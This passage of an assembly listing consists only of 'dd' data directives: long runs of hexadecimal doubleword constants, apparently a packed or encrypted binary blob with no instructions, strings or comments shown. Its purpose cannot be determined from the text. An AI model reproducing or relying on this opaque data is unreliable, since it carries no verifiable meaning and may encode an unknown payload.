927582Dh, 499933FCh, 567F8C04h dd 254DF40Fh, 0DBB97DBBh, 0D1257113h, 79A6C849h, 396D0060h dd 0EEC1416Bh, 30467F04h, 681E2F26h, 4A2937CEh, 0F66BA77Ah dd 352D00FDh, 520BFA51h, 213BBA01h, 0CA816AA1h, 4EFB34E8h dd 1A2EC14h, 740C18E5h, 0C241D009h, 4681A2AEh, 0C828CB2Ch dd 0EC5DD204h, 6DDA228Eh, 8B56BB81h, 0D77B0BC2h, 0F4A0151Ch dd 8C9C5566h, 633C8661h, 0DA644A31h, 945613AAh, 1435F922h dd 190A6850h, 8262958h, 2E9EB84h, 0C531075Ch, 0E1EF89F2h dd 5B00C6CAh, 74005F0Dh, 0E8C16AFAh, 16AC3507h, 0C945F79Ch dd 42F12090h, 490AB3A4h, 945F6B11h, 610A2B12h, 451E9403h dd 242630FBh, 5B0E06C7h, 0AE81C411h, 1B3094C6h, 0A49A345Bh dd 7A1CE9C8h, 5607CFA8h, 5F62751Eh, 903EC7C9h, 6E06D125h dd 13C1FA0Ah, 76461F01h, 0B7F44E39h, 60964DC9h, 23D8311Bh dd 73F1FBD9h, 162E78E9h, 0DCAFADDEh, 0E9E8F3FAh, 8C3A7AA1h dd 0A7F1B639h, 8DF80916h, 0E106BCCBh, 31AF224h, 4A0CF01h dd 60825908h, 34BB001Ah, 384BDD5Eh, 0B2688EA1h, 0DB9C5037h dd 0FA93796Bh, 858D7A3h, 0BDB76012h, 13A37848h, 8DEE29E5h dd 0E9D07A7Eh, 642D0BD9h, 0A7C77077h, 0B5404CB2h, 0FA2EC0FAh dd 0A084011Eh, 824041DCh, 0FE206164h, 0A62BED07h, 0EBC10EADh dd 79037705h, 73795E9h, 86D7F648h, 0DF5A92F9h, 0B2CCEFDh dd 72E0685Eh, 0AE5A92F2h, 0C2A77AACh, 87FE73B0h, 0D9716B62h dd 6855C034h, 0CC2D2099h, 4AB7597Bh, 1B2F07A8h, 0B65CFB50h dd 1C3BC702h, 0EF5CC0F7h, 0BB70E756h, 55D24CD4h, 52FB01C3h dd 8DA513DAh, 0BFE38253h, 0CCEDB9E4h, 0C4EC11E4h, 38BF7F5Ch dd 58E60192h, 8E9EE28h, 0C5B44F8Ah, 0CCF91283h, 392DA9A2h dd 5878D601h, 22005DB8h, 5CBA2F1Bh, 4AE58DFDh, 0B001FE31h dd 240120D3h, 0DDE3A221h, 71A90810h, 0D9A34C5Fh, 0FC03FF34h dd 12A7F5Fh, 62A13455h, 0B45000CEh, 6567F04Ah, 0F8CF21E3h dd 526D9DECh, 41EE0420h, 80E4C412h, 91039993h, 88E5554Bh dd 8D520807h, 0F693A218h, 0B88B77BFh, 0F1311A84h, 0E2986B0Eh dd 2BEF4182h, 5C2D97F3h, 719A1C51h, 8C657F23h, 9070D9A7h dd 2B069650h, 3B6E107Ah, 0ABB411B6h, 718F300Eh, 0D7B8A25Dh dd 375FC704h, 0D9873856h, 25B51280h, 67E758C1h, 73BCCF03h dd 2A033EB3h, 10975029h, 5E85FBE9h, 7FC2C085h, 72F5619h dd 2E66858h, 0FCA9D371h, 0D64B1354h, 0DC6328AAh, 0C7171A60h dd 4E7F8FC4h, 0B15217A7h, 0D2EBF056h, 4BB57706h, 816CD301h dd 3D2E5A08h, 51272073h, 0C0011520h, 3649E249h, 427F6C71h dd 1E3BBF30h, 722715BEh dd 0DEF7260Ch, 5F3C02C8h, 6EC040EDh, 731219F2h, 37010512h dd 1F2F1A31h, 2B6A4C82h, 4B403206h, 9E0B09FEh, 55D63191h dd 2FE9F0A1h, 96073814h, 5BC0FDB4h, 0E89699F5h, 0D1BA0BBAh dd 0FA910EF6h, 2142D2A4h, 50CCFFECh, 12B23230h, 3DADB753h dd 0C618CFFEh, 0BE661498h, 5C09173Ah, 420A1ED8h, 0DDB7586Fh dd 25303F12h, 0B516EE0Ah, 71F6AFDh, 3DE628B6h, 92BE874Dh dd 53BE50BFh, 0E1D058BFh, 89E669E2h, 23201F44h, 0C33103EEh dd 0D8895058h, 0BCB4C593h, 0A685A4C7h, 97E0041Fh, 460B6EFCh dd 0DA7DA7D0h, 88FB9EF4h, 1813D96Fh, 18093B16h, 493451B2h dd 6F5C51B2h, 0F3E4B79Dh, 27C2A9C2h, 0BA1A50B8h, 8F386820h dd 59678978h, 37805729h, 0F82EFAC9h, 7C4460F5h, 41A3189Dh dd 0FA28B02Fh, 1AA96FA3h, 46B49840h, 7B9529DEh, 0AE90502h dd 479DE4ABh, 0B4952A9Ah, 955997C4h, 3119E449h, 266FE262h dd 10427853h, 5A25DB90h, 0AE597276h, 7772FE7Ch, 416A9DEBh dd 2F7815FFh, 92BD24CCh, 6D3EC16Bh, 0BB5300F2h, 193D27CBh dd 842B99D2h, 51F4D83Dh, 80DE3EB1h, 0CB888500h, 28B65259h dd 4839E6F2h, 2706BFC0h, 0BF74D27Eh, 56A5B8FBh, 0E9565857h dd 58A2EA2Eh, 57E2BAC4h, 0B312FD01h, 31F32905h, 0E908000Ch dd 0BCAAD4AAh, 251434F5h, 0A905F2E9h, 2001EA29h, 41152753h dd 3F0CF501h, 2BE9410Eh, 0F916A523h, 125A21CBh, 4BF5E843h dd 31C56AFh, 7FFFB759h, 460CAD04h, 89FA775Bh, 4BF6EC94h dd 62807918h, 249F930Ch, 4D22E8Eh, 0C1A101D3h, 10EFBDCh dd 6C70D829h, 45DE4825h, 0A0E8AF26h, 0F2201E3h, 0EEC17BB4h dd 0C998E707h, 0E3168664h, 0F48BF221h, 41A5C202h, 0D94115DFh dd 0B22114D0h, 3D7E0CE2h, 0EE8D04DFh, 0E6689C90h, 2FE59525h dd 7F01D12Eh, 557CFD41h, 3E14C02Ah, 4324932Fh, 720255Eh dd 0E9DE2902h, 710122B2h, 0C8B352Bh, 0B77165A1h, 0E780A30Fh dd 0C1754591h, 9CB0E864h, 0EABE0056h, 576A1207h, 52D288E9h dd 612AB1Fh, 178094D1h, 1E6CAC05h, 25C23772h, 4C0C3668h dd 5F7825A5h, 0E49DD8C6h, 69A5FC03h, 9FD4441Bh, 9709A60Ah dd 13F2EE87h, 0B9512970h, 0B641048Ah, 0D316E936h, 301A019Ch dd 0F53E3542h, 3010FC62h, 7FED0D68h, 0FEC16734h, 0CD486454h dd 0BB6AB0F6h, 0D989096Ah, 0D11AB696h, 0C48850E1h, 74E91A84h dd 89C289C6h, 668AAF82h, 44416800h, 0B9304869h, 0BA500F20h dd 0D75C2926h, 0AD196454h, 6404B3ECh, 3C867Ah, 28967751h dd 0F6D92DE9h, 5F814FEEh, 0DEB46BAEh, 0F9F9D7E2h, 4C49AA3h dd 91292DCh, 68A28077h, 9C0CA29h, 913E34EBh, 9BC19022h dd 1B5E2503h, 0CE261962h, 0C2693073h, 0AC7B5DCBh, 0F212FD26h dd 6D6EABDh, 0F9ED7BDCh, 0F253EE0Bh, 490C7F1Ch, 43246378h dd 0CB3A20F8h, 4E5D045h, 0E1663752h, 6564D0Dh, 5AC3FF6Ah dd 0C7201864h, 542986Ch, 404C41F1h, 0E6C4AE51h, 0E44D00FAh dd 314D7E13h, 334DF948h, 0B9CECFB7h, 0D028046Ch, 56FBB00h dd 0C1435DFBh, 8102E31Ch, 1F54B6C0h, 606BE971h, 25BF3853h dd 0E503759h, 360B9181h, 0DD2961CFh, 208B488h, 11998E9h dd 0A224CD5h, 0B450635h, 8DB20BD4h, 6872F868h, 8D3FE72Fh dd 0F82E0D35h, 370123Ah, 0FD53D762h, 0B5845C45h, 25FF0132h dd 0AB8490h, 3946B8D3h, 0D6F43ABFh, 0BD34F360h, 608414CDh dd 59D37C3Dh, 925289Bh, 7E1477FDh, 0C7E0ED90h, 0E91DAA05h dd 0E04497A8h, 0F98D7290h, 0F6DD2220h, 32115B61h, 0FB41EA3Fh dd 20093FD3h, 17F5Ah, 6230C3E9h, 7157048Bh, 9EAC74B6h dd 3A4E277Eh, 1B4F0DA3h, 0EFD90C83h, 4F337EF7h, 3BFDE8FBh dd 0C2E09109h, 0F289E951h, 0A2D3E7A4h, 0CCEAD376h, 0C8B8B516h dd 0DE139227h, 83E1531Ah, 4C3B2347h, 28B0749h, 19E24BA7h dd 0F15D04A8h, 4DD96E4Bh, 5725EA23h, 7A005CFEh, 2EE97008h dd 70D99D28h, 516855C2h, 38FB08F2h, 0F85F6C25h, 0E0036861h dd 82C51FBEh, 48B5D5Bh, 5F5A2654h, 0DD227FC2h, 0BA5E3CF5h dd 0C0264E50h, 0B050664Eh, 0C54A083Fh, 0E4525E0Fh, 99EADF2Ch dd 99017E08h, 8176794Eh, 3B683D70h, 0EF026A91h, 0ECFEDB96h dd 0B07B8275h, 0F9A5D3Ah, 2045AB41h, 13D444Bh, 2408274Ch dd 33E15A19h, 96E2E63Fh, 5D6867CCh, 0B8808A8Ah, 6BF27F90h dd 1C7D2501h, 20E9667Ah, 7E300275h, 21A419Bh, 0BEF8FD91h dd 0AFC978A0h, 1D114012h, 416098B5h, 2A8705FBh, 0B8C5E9CBh dd 0EFD00086h, 8007E7C0h, 887916C7h, 6D0E91F9h, 33AC0430h dd 6037538Dh, 0B14C2CBh, 5906B59h, 9EC97A60h, 1B40C9B1h dd 0EB14B9E9h, 4819B73Bh, 2281A9Ah, 0D06B751Ah, 48A1ACD4h dd 15B85A97h, 2EE7FAA1h, 0FC041C8Bh, 0AB34B122h, 2275874Eh dd 0FD29910Dh, 5F0E100h, 4128678Fh, 0F138EE3Ah, 473D972Ah dd 1203BA08h, 53CA005Bh, 4E4BCB14h, 8395DCFAh, 884048DDh dd 2E4A112Dh, 22FA7824h, 49BD05FBh, 0C070C566h, 5E4EF17Eh dd 21F22676h, 0F2423103h, 501A38E9h, 40F335E2h, 7A97586Bh dd 4CF512BAh, 99D1282h, 83005D28h, 266771A7h, 0C11922B8h dd 40603E5h, 0A64F186Ah, 87036EE8h, 5EF53172h, 0E93B0C21h dd 0F760CF09h, 2713DE4Ch, 7D0F898Bh, 0BD9FE818h, 0AF60869Eh dd 41CB6B1Bh, 3CD7ED01h, 7231C91Ch, 0CD5990Ah, 0DD416693h dd 0F716B4D2h, 0CA687A42h, 4BDD6C2Bh, 0F9D91373h, 4C3F1C5Ah dd 2E147F27h, 4B4AF99Dh, 0D752547Ch, 2AA1FDE6h, 4B332C9h dd 3B58046Dh, 0FBDB80EEh, 4095C4A7h, 96A00624h, 96DF7274h dd 535B286Eh, 7B4A0947h, 300054B8h, 379575EDh, 0CBCD292Ch dd 0F539E519h, 7AD7F640h, 0C4648EBh, 86DC382Fh, 0D6A4DC62h dd 0ED73491Eh, 0A0E5571Dh, 0F2327157h, 0A0999E4Dh, 8D28B608h dd 2A734122h, 0F07FA809h, 0EC5C4EADh, 5E68F036h, 216E9D1Dh dd 86E6E910h, 0CF45A94Eh, 65EEB24Dh, 367B829Bh, 1E58100h dd 4A09243Fh, 6031942h, 0E94B2406h, 4E9CCB2Fh, 0CB42953Ch dd 0C10123D7h, 0EB4B03BBh, 13BD3297h, 1D120C78h, 1058756Fh dd 283DBFAh, 2405DD0Dh, 85F7D571h, 70A2D2Dh, 5001CE5Bh dd 873ED679h, 0D4D2F7E8h, 9B04EC08h, 0FA81198Ch, 180B8612h dd 8168790Ch, 45C531F0h, 5F7E825Ah, 8525667Fh, 0CB4442AAh dd 8805E5C9h, 53A8C2F5h, 31AF5F04h, 3FAED3E9h, 3023C631h dd 0B8450105h, 987BF963h, 890DB460h, 0F8E917DAh, 1731A350h dd 429C1920h, 0ECF04B89h, 62AB0B0Eh, 0D84B82BCh, 0EE0104EEh dd 82357562h, 435E20E9h, 44C14F10h, 12A96DB0h, 18B709EFh dd 0E3FC2A64h, 819C4648h, 6A520AFAh, 0CE33AE82h, 0C25736B2h dd 0DF3512DFh, 84977E1Eh, 0C100F836h, 680507E0h, 16002D7Ah dd 510DD8F7h, 0F47B300Eh, 0B9DF1355h, 491EA07Fh, 9A45F940h dd 0FB731F9Ch, 8B273FFFh, 0F36A527Eh, 0F093A10h, 29C23284h dd 6E7C01CAh, 2D070FAh, 159C5C03h, 0A0D19268h, 562609BCh dd 9F8472E6h, 9AE2AD53h, 0ECF40CEBh, 6BA91C51h, 0E912229Fh dd 6CEDF1ADh, 0F3FF16F8h, 0C327F3F9h, 97981655h, 1B92ED6h dd 89AECD40h, 0B331205Fh, 292B122Eh, 0B679F49Dh, 32283181h dd 1F67C10h, 0E0C0BD04h, 0B8D3FE05h, 2F352C63h, 0EC80B8E9h dd 3031C801h, 68EB30B7h, 0B8194A74h, 0E846F56Ah, 8873238Ah dd 0C9E42ED3h, 12DF89DAh, 93DC08B5h, 5AD30903h, 7CAACA93h dd 0D5F602D5h, 4677C5FEh dd 0E5C002D0h, 4B74E907h, 34C1E99Bh, 31996526h, 4ACB2B50h dd 4FF24A10h, 13EA53B4h, 0E4D9FA4h, 2764AA14h, 655FFF42h dd 40C6ACBh, 8DBB4FE5h, 0D5C6031h, 28196F1Eh, 81749B4h dd 1FA400EBh, 295F3880h, 60DE549Dh, 28EB055Eh, 483EB33Fh dd 134610B0h, 33FB0109h, 0E21829D5h, 26177455h, 373E0F4Ah dd 0EC8D9685h, 8ABAA584h, 9F1A12EFh, 0E35ABCA2h, 30BBD359h dd 5BDD010Dh, 14B16815h, 84FA5C25h, 28026947h, 405D5BF8h dd 4E936811h, 0AFF38556h, 862943Ah, 1875B1B7h, 73F888B8h dd 9FC37553h, 586095F1h, 0C06632E9h, 720BEA57h, 5F00234Fh dd 7A685750h, 0F13FF145h, 1EC1CD44h, 13B0E43h, 5A010219h dd 70E804Fh, 89D6CF23h, 2BE913F8h, 5A4AD27Eh, 0A337CBDDh dd 0E177EA19h, 0BD86B13Fh, 8D1F7CAh, 1B59BD80h, 1CBE224Eh dd 0C3894B27h, 0EF01C1FBh, 5D53416Bh, 8410F22h, 13234834h dd 0BF0D8069h, 2808A70Ch, 0ED3BEB7Ch, 58114122h, 9227E91Eh dd 924374E2h, 6E3A04BFh, 9213971Ah, 0C177457Bh, 5A03EFB6h dd 0B5F0D883h, 0D9246823h, 0B363CA59h, 31E2D1D7h, 0B6047863h dd 0FBF6802Eh, 1FF9A82h, 6BD1E9FDh, 8635CC00h, 0F42FF96Fh dd 6481FBF6h, 0C2259BAh, 6C37E954h, 0DDF71D95h, 0FCE169D7h dd 81B718B4h, 5A14FCAh, 0E99D68ABh, 520BA14Bh, 0AA6D0041h dd 0EA433D1Dh, 2C087FE1h, 52840561h, 7D930A81h, 6437AF4h dd 30391E9h, 9513F51Dh, 66D988AAh, 21F423Fh, 60A45126h dd 0C5C61974h, 233B153Dh, 0EE517801h, 0D39B6208h, 0F894D08h dd 5FE476BEh, 0BD80EF41h, 314491E6h, 0E9100B78h, 16163C16h dd 6FAD5954h, 5134BAF5h, 0B1FDE2BFh, 0BD00E186h, 0D3255F0Ch dd 817E5643h, 11163BEDh, 88A53E1Ah, 50E90800h, 0EF01B60Dh dd 0ECC57D64h, 721C50Fh, 18CEE0A8h, 852E1416h, 1C6C3807h dd 9EF26046h, 940DF15Ch, 0BDA4B7E9h, 69186C32h, 6F2EF45h dd 14547A1Eh, 0BD29CDD8h, 0F1D13E7h, 0C670BB7Fh, 25255115h dd 0A7F3CD31h, 25E13912h, 0C433FC35h, 4313E983h, 0C491AD84h dd 5703E0F1h, 0B89CC789h, 42460BF5h, 0F1D7C11Ah, 585F0741h dd 1EB0D040h, 0C37A5A86h, 0E1D0021Ch, 83340CF3h, 0B4C0202Bh dd 3C052C09h, 212F1A9Fh, 780C8F8h, 9B5BE959h, 16870910h dd 4BD15D22h, 0CBA4079Ch, 2C93931h, 4BE5FD77h, 68B4B03Bh dd 23981E7Dh, 0B731030h, 25E9260Eh, 87BB4E7Eh, 94D6E1DAh dd 51BF5927h, 4A142C7Ch, 0F82FE1A1h, 0DB88D799h, 0B1EA9E8Ch dd 2A1539B2h, 21D54A42h, 0F11F501h, 72838F4h, 7E7BA52h dd 0CE830314h, 60EFB2A1h, 175CBB81h, 1202475Eh, 2DCFC28Ch dd 9AA2957h, 0D2D188A9h, 97F2BBBBh, 77AC8493h, 74288AC6h dd 26E9687Ch, 5C625955h, 2FA68B6Bh, 0FB17A9F5h, 6BB4038Eh dd 0CC93C4FEh, 0B3530400h, 70B65298h, 0DACE0C80h, 0E40ADEF6h dd 17B8398h, 300BC3F2h, 7814E9F3h, 57E33h, 2D2E9C50h, 36420798h dd 47F9EAB0h, 2711CA07h, 1B09CBFBh, 0B55572D5h, 61A3932Bh dd 1D03E16Bh, 0F638DAEBh, 0C60C0417h, 21A5C0Ch, 82AC78FFh dd 67B420DBh, 7FF9AFA8h, 0B2D69069h, 0E9531235h, 0BA318577h dd 3562528Eh, 0F3A5B8E9h, 1545AB5Ah, 6001AEDCh, 31E33CCh dd 683F426Bh, 9C710D19h, 3F62CD29h, 635707A0h, 4B03E372h dd 510950C5h, 54E6DA6Ah, 0C8FE09A7h, 0E5F44C70h, 0E35620B5h dd 0E1A723DCh, 0B2814E78h, 70538F46h, 632D3140h, 792F0008h dd 5951BF07h, 840C429h, 0F70ECB5Bh, 0C392286h, 1F2429F2h dd 22C5E32h, 42A1EE64h, 0D32CE37Ah, 0F140340Bh, 2F053D13h dd 0BBD6132Ch, 0CD01B413h, 25EA4476h, 4BE93170h, 0EEC1656h dd 0BB121CB6h, 0A816458Eh, 90FDD093h, 680AD159h, 0A15EF109h dd 7FAD0512h, 0DACBB903h, 8BE1210Fh, 0FC5722Ch, 9F76B850h dd 45AE2B53h, 0F9FD18BFh, 0A2797726h, 0B5520EDBh, 0E04B92E8h dd 40940FE5h, 72C2B801h, 0A12A644Dh, 0FAE08452h, 43C0E52Dh dd 2F390DC1h, 0A9EA75A6h, 71C080Dh, 0FAC7B714h, 7C381DDh dd 7AB5C645h, 648B501Fh, 9D421427h, 71A95F1Bh, 0EFB05527h dd 41DB40Fh, 84AA3E02h, 69DE427h, 2034465Eh, 89B4A7AAh dd 0E03F0250h, 0E47F09E8h, 0D5F62747h, 65523A55h, 21AA4FEh dd 0E1EB8033h, 4B33787Dh, 2517BC69h, 62027E88h, 0E5ABB938h dd 4E5ADB00h, 7AF87B99h, 0F726BF9Ah, 2707E1D0h, 0CEFD624Bh dd 68009028h, 49DC6618h, 0D250F75Ah, 5183480h, 91C02FADh dd 60539DE0h, 55820199h, 813B3520h, 15CB6A5Ah, 5BDD6C10h dd 0B64E13BCh, 0C304A83h, 0BED9E9D8h, 97680570h, 4ED9A30Dh dd 0D4B513FEh, 0C079AA04h, 1371B62Bh, 1463C13Ah, 0C1F0EADEh dd 0F00412DDh, 1062BF9Fh, 19656D7Dh, 0C75250B8h, 6095EFE9h dd 12C5BDEh, 6CB55187h, 0F89EE580h, 2BD605ADh, 46A104AEh dd 3CBD17E2h, 4F8C509Eh, 1ECF535h, 1173F319h, 0C0DC83FAh dd 0EA62F121h, 48EED00Ch, 0B3B03A52h, 6225E9C3h, 18A97DEDh dd 0C9CA9B87h, 0F9F18821h, 552E484h, 4642FB0Bh, 0B91E8823h dd 0F6259D18h, 0F3A1277h, 6B25812Ch, 3C346F57h, 0D5DFF8C2h dd 0DE8D3FA0h, 749DA103h, 0EE599248h, 0CDF82DD4h, 0ED03C3A8h dd 294CDF58h, 82AC7EBh, 2407C527h, 268D0395h, 7C5A3A4Eh dd 61FDF9C8h, 4CF2BFF3h, 2A70C513h, 0A50C17EDh, 0DBD02B11h dd 0B22F6390h, 5E624889h, 56BBF24Bh, 0C604F50Ah, 0FE398418h dd 75346110h, 23C77A01h, 55E952A6h, 35320E2Bh, 13563C02h dd 4597017Dh, 0E1F61E09h, 0C32844DEh, 177F572Ch, 0BF3F8513h dd 5003AC80h, 0D4F19DF7h, 4E53CF93h, 40129B26h, 6B256821h dd 9F33F142h, 535AD7BCh, 806601E6h, 307E9328h, 80941D1h dd 0E50630Ah, 0AA24DBFAh, 2B09DFACh, 25F83457h, 8B4140E9h dd 0ACD32A5Bh, 40B99C1Ch, 2A05957Bh, 5DA04A42h, 26FC1DA7h dd 22D540B7h, 0CC03152h, 5BD916DCh, 1205765Eh, 2367B0Ah dd 739F68EFh, 2C08040Bh, 310BB691h, 84ECB37Eh, 5800E36Fh dd 74A060Dh, 172D5003h, 0A813A06Dh, 7BD693E8h, 0A55D521Dh dd 0EE96E316h, 3E3AA631h, 2E03CD2Bh, 0E909309Eh, 15988CD1h dd 51025753h, 0C1210C68h, 90E5B5Ch, 0C472608Ch, 39821133h dd 7EAE9E7h, 69F65D81h, 0D844EB76h, 1005B4EEh, 59564DA1h dd 705064B3h, 737502A8h, 0BF4CE95Fh, 0B4596A0Fh, 0D90EB309h dd 78514678h, 645720h, 35B1ECB7h, 28BEC180h, 0D5FFF975h dd 66CBC05Bh, 0EB7F5970h, 0C7DF49E4h, 32536DD2h, 2BEA4FBAh dd 0EA73B524h, 8ED5CCB5h, 0E8340BB4h, 0F368B07Fh, 8D16BF56h dd 27E78F20h, 2D9B068h, 0C0F5EA13h, 8213A002h, 5F875807h dd 6C02F81Ah, 0A7F843E9h, 88526600h, 244C8ACAh, 0DF54EC02h dd 0B442508h, 76BD3FF7h, 0CB884E60h, 0E9185152h, 0C1463367h dd 0FE589DEFh, 8A302674h, 8F4E0C0Ch, 0BB0E4C41h, 0B01FE909h dd 0A992154Ah, 0C0B5AF8Ah, 5121402Ah, 28C50134h, 32E90802h dd 0D55A5FFEh, 491B1697h, 0B94E1646h, 0AB4BF2CFh, 0BF091682h dd 0BB90645Bh, 0BBD9B685h, 24300ADDh, 9C32050Ah, 411EE945h dd 29F1BFA8h, 0DA83307Bh, 18EC8F4Eh, 855FBDC6h, 83C49C4Ah dd 0D892EEA2h, 3012E4A1h, 0DB0C26E5h, 98E14D7Dh, 96072024h dd 19E68006h, 0FA3BC6FEh, 0E1787058h, 11A6CC6Bh, 0B6701F60h dd 4CCE8074h, 141266D8h, 1F025252h, 0BA8617A7h, 28657130h dd 0C55958EEh dd 0B0763048h, 0EC41416Bh, 7B95148Bh, 9BE9E1B5h, 735DC2AFh dd 79E941B5h, 0DEB19411h, 0CEE1CEDh, 6526610Bh, 3D5A89FFh dd 2B6F3C74h, 7265A34h, 8926E4F5h, 0DC0FB223h, 900D18DDh dd 0BF26D3B3h, 3653C81Eh, 0B2A091ECh, 0C20B80B4h, 4153E910h dd 0F12B5B86h, 4CCE2434h, 30BD0171h, 0BB5E684Ch, 0C8183C6Ch dd 9460AF2Dh, 0F7B2981h, 6642EF6Ch, 4A7564E1h, 0C080C92h dd 1675122Ch, 0E1C5D448h, 4996F8Bh, 9B7F50E5h, 50E34F63h dd 0D4D5CF12h, 8221C00Ah, 70B57661h, 6FFA0456h, 0AD5A1BF7h dd 9BEC93C5h, 25C5561Ch, 0A2A11477h, 84D6C1CDh, 53C14E39h dd 6E76DB68h, 0E84A0ACFh, 431FB510h, 47A2CC13h, 87FF4B27h dd 0F5D07702h, 0B298E9BFh, 0EC664A9Ah, 0E2086244h, 8054D603h dd 0E925EDF2h, 0A5D075B7h, 5E433CB4h, 13703E44h, 889064F9h dd 0B46B3605h, 0EB904A79h, 0EFC2D08h, 0EC02C0C8h, 7568EE0Eh dd 0E220B76Ch, 465B2CF5h, 0DFB91E69h, 838ADC91h, 78BCE9CFh dd 2D70B958h, 15137703h, 80ADB6C8h, 88F6EE09h, 7F145F7h dd 0F102EFC0h, 0C605E9D7h, 0CF825DD6h, 556A1B74h, 8032E7D2h dd 783610CCh, 315F2FC8h, 5916B950h, 47ED048Bh, 8CF262B1h dd 607E56Fh, 0ED801E02h, 6A07978h, 4811084Ch, 0DD0F10C3h dd 0CCF18100h, 29C42469h, 80E1CE59h, 470EBE56h, 0AA454EC8h dd 59C1EA1Eh, 74297B5Eh, 0E4E91084h, 0F5EE4C7h, 3966BA40h dd 0B5C8D6F7h, 14B81D18h, 9121ABDh, 0F0033341h, 0C0DC5B2Eh dd 0C02AB9E9h, 76BDBB20h, 29240345h, 0D27332DAh, 58E5B32h dd 0C4707A4Ch, 0E821AF91h, 50023E1Ah, 0D0202EF8h, 0F3DBA0D3h dd 67741D59h, 0BE3816Ah, 2034F16Bh, 69270619h, 0A42C56E0h dd 2BB0BA3h, 0E5AD26F9h, 27FD20D1h, 0E95C882Ch, 2FC5AB12h dd 12B48ABEh, 0B237FA1Ah, 0A746F782h, 0B8215093h, 49312DA3h dd 5FDF0D7Eh, 2C39E5E5h, 21F65B69h, 1C2E1673h, 0AC5B0106h dd 68F9E3D1h, 715617D7h, 5D60A23h, 7F3E058Ch, 3941BA60h dd 67F3C2F6h, 450D006Bh, 722FBF57h, 317E6901h, 0EDD15FFDh dd 0F05A5C3Ah, 91D8F566h, 2AA85426h, 6E1E772Dh, 0E5CAE912h dd 3E5639EEh, 0AA048CA6h, 852E9733h, 0CA3680FEh, 6E2646DEh dd 12300B02h, 245DB3C2h, 5EF61F2h, 0C54D2ABFh, 4CF8745h dd 0AE0E07Bh, 31E62D04h, 0E284474Fh, 0E58069D0h, 5AB1F046h dd 0B86E4445h, 0D3F60320h, 0D7A4EB51h, 0C34C0CF5h, 40A9BE8Fh dd 472C68D5h, 5B02D329h, 4001EB83h, 0F87C5716h, 5EE91237h dd 4F58418Ah, 346FD414h, 290CEB74h, 0B440C546h, 88231042h dd 72471C44h, 0F7294909h, 0BB62BC6h, 0B738E469h, 64E9F890h dd 7288B65Ah, 3FDD48B1h, 80B8C2DDh, 0EAE6D7C9h, 26128E94h dd 41D7F298h, 12E02ED9h, 0B362E9A4h, 0E8730A05h, 683BE031h dd 0E65A632Ah, 1199112h, 0AD03BD7h, 901F791Ah, 5ADB404Bh dd 1AC525Fh, 6C30E9ACh, 80C31FA6h, 0B993DC7h, 17E5A298h dd 581C4FEAh, 5CEF0FA4h, 55E659A3h, 0DB79A083h, 3B9C0A4Ah dd 0ECC84F30h, 149BC554h, 1506A4B9h, 0C27E70Dh, 835B708h dd 183D010Ah, 0F2012090h, 0A8A12CC1h, 0C14C8365h, 24284E99h dd 4CE101BBh, 0E3C14DFEh, 0B7293008h, 9261C239h, 7D2DDD29h dd 40FF2520h, 40B831B1h, 2E55D8B5h, 883A4804h, 2F3D0FABh dd 0C6A689CEh, 61CCB1CEh, 0A80FF4E9h, 81BDD628h, 0E3FFAEFEh dd 0BD600230h, 17468D09h, 0B48BC4BEh, 24307511h, 3C89554Fh dd 5E7FC01h, 91F35AEh, 0F1907119h, 0BFA56484h, 2EA8305h dd 0B0A3F831h, 0D606613Ah, 5EA32BA8h, 24EB3837h, 6A0B80CBh dd 15482A60h, 8CF12A43h, 0CC5F4088h, 12513580h, 0C13662B5h dd 0C23CFE90h, 0C282F177h, 5609D3C1h, 0AF5A1345h, 0F5259C61h dd 13EFC981h, 20766A12h, 2980B255h, 17EFD7F2h, 504CF708h dd 0C59FA143h, 31C812D9h, 2F142342h, 66313791h, 0A23E307Bh dd 46279F6Ch, 27605821h, 93D410C5h, 0D92B50D1h, 962A30FDh dd 5F1219BCh, 0D41968AEh, 19A69C54h, 0A24238E5h, 13B8855Dh dd 2FCCD1ACh, 139880ABh, 27A10858h, 0ED9B48F6h, 4C3D5C94h dd 10CD5C78h, 0E8420841h, 0BD550164h, 4C73E19h, 7FD5F1B2h dd 0DE69FBC5h, 1B02E6D8h, 0B37939AAh, 0E31CF1AFh, 5F059253h dd 141095F6h, 9D7E105h, 7AC457BCh, 0D2C9A9DDh, 4A599AAFh dd 9784C0BDh, 0F8861AD2h, 0B2520960h, 925C884Dh, 2CD8C108h dd 0D31E0BB1h, 592078DAh, 62A490FAh, 7262B115h, 92C7FE03h dd 18D61CFh, 0B8BDEFCCh, 0C085282Dh, 0D6F63984h, 0DE9DE0Ah dd 4B688985h, 546419F7h, 137FD221h, 0F0DBAECDh, 0C2655C2Dh dd 107AC84h, 0D34EDFFDh, 0C14F7873h, 0F04FEDF2h, 475F0920h dd 0A24B1CB9h, 8BAEB5CBh, 6B1751FFh, 0DF17131Fh, 0D23D5EEBh dd 9CB496Fh, 0F7FB79E0h, 5753D70Bh, 0C690D55Bh, 7600A8B9h dd 0F1814C1Ah, 9F8D422Bh, 0BF59AAE0h, 74405B0Bh, 41E1DC56h dd 6E99CDE9h, 711E6145h, 0B6C026A8h, 511CF562h, 61FAD5A0h dd 0F640F582h, 0D824253Fh, 0BA046AA0h, 0ED81147Dh, 0D17CFBB4h dd 75B8584h, 36E544B6h, 0E22EE1A1h, 685BC16Dh, 0B73E3034h dd 0AEE90B35h, 0BC1FD1AFh, 0F3054B22h, 76414C15h, 0DF6691BBh dd 0F22C010Ah, 53122776h, 0A4251CB7h, 6C61822h, 0D748F601h dd 272C38E6h, 8096C7F8h, 1571BA52h, 0E2F85988h, 9A77C209h dd 172F7D63h, 0B98BA20Eh, 24F26880h, 605C7C1Fh, 0EA1E60E0h dd 5B2B2CFCh, 191A82D7h, 0E9D1BF8h, 1DFF7EECh, 2FAC335Fh dd 73FC3B16h, 0DF0B0458h, 0BB56FEBEh, 25524D27h, 89FD9C9Ah dd 4B03466Ah, 0BE162D5Fh, 13781B4h, 7FD2E902h, 1B174967h dd 5A72BE13h, 27497475h, 0F1B23BFFh, 702A12E3h, 5880688Fh dd 6928D19Fh, 51E19500h, 5B02A1Bh, 9BB1640h, 483B0910h dd 0F6F42E01h, 441C71C4h, 346F8D81h, 7D40B950h, 522E9F2Dh dd 0A82673A2h, 0B8DCEF7h, 6EA29112h, 12BB361h, 76F5058h dd 0C478867Ch, 4CE4E89Dh, 0D3F61C91h, 0C1FEDB93h, 3E53C311h dd 4124A6B0h, 0CD9E83F3h, 0DA1CD60Ah, 479969D5h, 604FE041h dd 9C6021F1h, 0A2F2246Fh, 7DE10B82h, 96BF3016h, 0D3B2A047h dd 41B880D5h, 7E5C5106h, 